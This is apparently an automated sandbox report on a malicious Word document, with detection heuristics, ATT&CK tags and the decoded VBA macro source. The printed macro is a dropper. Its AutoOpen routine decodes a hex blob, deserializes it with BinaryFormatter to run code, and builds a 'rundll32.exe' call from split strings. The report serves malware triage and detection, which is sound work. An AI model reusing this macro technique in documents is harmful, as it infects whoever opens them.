MALICIOUS
284
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a Microsoft Word document containing VBA macros. The AutoOpen macro triggers the LegitFunction, which decodes a hex string and deserializes it using BinaryFormatter. This process ultimately leads to the execution of 'rundll32.exe' with arguments derived from the decoded payload, indicating a dropper functionality. The ClamAV detection 'Doc.Dropper.Agent-6450974-0' further supports this assessment.
Heuristics 8
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ClamAV: Doc.Dropper.Agent-6450974-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6450974-0
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1400 bytes |
SHA-256: c253a899e8ef49b600c5ba26cb51af20b861209c22e4580fd1a50590e78faaa3 |
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Detection
ClamAV:
Win.Countermeasure.G2JS_Script_Generic_1-9818937-0
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "LinesOfBusiness"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public binary As String
Public code As String
Private Function decodeHex(hex)
On Error Resume Next
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.DataType = "bin.hex"
EL.Text = hex
decodeHex = EL.NodeTypedValue
End Function
Function LegitFunction()
Dim fdAsrir As String
fdAsrir = "rundl"
fdAsrir = fdAsrir & "l32.exe"
Dim stm As Object, fmt As Object, al As Object
Set stm = CreateObject("System.IO.MemoryStream")
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
Dim dec
dec = decodeHex(ooyur)
For Each i In dec
stm.WriteByte i
Next i
stm.Position = 0
Dim n As Object, d As Object, o As Object
Set n = fmt.SurrogateSelector
Set d = fmt.Deserialize_2(stm)
al.Add n
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(oour)
o.flame fdAsrir, fauurArs
End Function
Sub AutoOpen()
LegitFunction
End Sub
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